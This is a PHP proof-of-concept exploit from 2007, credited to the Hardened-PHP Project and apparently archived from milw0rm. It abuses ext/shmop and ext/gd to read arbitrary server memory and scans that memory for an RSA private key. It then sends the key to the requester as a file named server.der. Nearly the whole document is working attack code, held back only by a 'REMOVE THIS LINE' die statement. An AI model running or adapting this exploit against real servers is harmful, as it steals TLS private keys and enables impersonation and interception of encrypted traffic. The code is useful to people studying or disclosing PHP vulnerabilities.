68 lines
No EOL
2.3 KiB
PHP
68 lines
No EOL
2.3 KiB
PHP
<?php
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////////////////////////////////////////////////////////////////////////
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// _ _ _ _ ___ _ _ ___ //
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// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //
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// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //
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// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //
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// //
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// Proof of concept code from the Hardened-PHP Project //
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// (C) Copyright 2007 Stefan Esser //
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// //
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////////////////////////////////////////////////////////////////////////
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// PHP ext/shmop SSL RSA Private-Key Disclosure Exploit //
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////////////////////////////////////////////////////////////////////////
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// This is meant as a protection against remote file inclusion.
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die("REMOVE THIS LINE");
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if (!extension_loaded("gd") || !extension_loaded("shmop")) {
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die("This demonstration exploit only works with ext/gd and ext/shmop loaded.");
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}
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function init()
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{
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global $rid;
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$rid = imagecreate(10,10);
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imagecolorallocate($rid, 0, 0, 0);
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imagecolorallocate($rid, 0, 0, 0);
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}
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function peek($addr, $size)
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{
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global $rid;
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imagecolordeallocate($rid, 0);
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imagecolordeallocate($rid, 1);
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imagecolorallocate($rid, $addr, 0, 0);
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imagecolorallocate($rid, $size, 0, 0);
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return shmop_read((int)$rid, 0, $size);
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}
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init();
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$offset = 0x08048000 + 1024 * 64;
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while (1) {
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$data = peek($offset, 1024 + 16);
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$position = strpos($data, "\x30\x82");
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if ($position !== false && $position < 1024) {
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// Potential Key
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if (substr($data, $position+4, 4) == "\x02\x01\x00\x02") {
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$length = ord($data[$position+2])*256+ord($data[$position+3])+4;
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$keydata = peek($offset + $position, $length);
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// Assume an exponent of 0x10001 to really find a RSA key and not a DSA one
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if (strpos($keydata, "\x01\x00\x01") > 0)
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break;
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}
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}
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$offset += 1024;
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}
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header("Content-type: application/octet-stream");
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header("Content-Disposition: attachment; filename=\"server.der\"");
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echo $keydata;
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?>
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# milw0rm.com [2007-03-07]
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